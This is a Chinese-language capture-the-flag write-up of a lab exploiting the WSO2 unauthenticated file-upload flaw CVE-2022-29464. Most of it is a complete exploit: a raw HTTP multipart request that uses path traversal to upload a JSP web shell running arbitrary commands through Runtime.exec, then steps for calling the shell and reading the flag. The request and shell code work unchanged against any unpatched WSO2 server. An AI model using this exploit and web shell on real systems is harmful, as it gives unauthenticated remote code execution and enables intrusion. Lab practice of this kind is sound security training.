一.靶场环境
1.下载靶场
根据题目提示,存在文件上传漏洞
2.启动靶场
打开之后,页面显示
然后就跳转到一个登录页面
二.登录页面
1.尝试登录
我们尝试弱口令登录admin,admin,跳转到连接超时页面
当我们再次点击这个链接后,就会跳转到这个页面[Publisher Portal]WSO2 APIMhttp://eci-2ze9nkxsscltuuiu6t9z.cloudeci1.ichunqiu.com:9445/
我们在这个页面查找上传点,但是没有找到一个上传点,所以这里我们的思路可能不对
我们再次查看提示WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
所以说我们不需要登录,直接上传恶意文件
三.brup抓包
我们使用burp抓包,不需要登录,直接刷新页面即可
然后发送到 repeater 改包,下面是 POC:
注意:Host 这个参数要使用自己抓包抓到的数据,其他全都改成下面的内容
POST /fileupload/toolsAny HTTP/2
Host: eci-2ze9nkxsscltuuiu6t9z.cloudeci1.ichunqiu.com:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/MS02423.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/MS02423.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
改完之后发包,如图所示,响应包出现那串数字表示成功了
上传成功后,拼接访问,即可执行一步命令。
https://eci-2ze9nkxsscltuuiu6t9z.cloudeci1.ichunqiu.com:9443/authenticationendpoint/MS02423.jsp
我们查看文件,使用ls查看,可以看到文件
我们想要flag,就直接查看使用命令cat /flag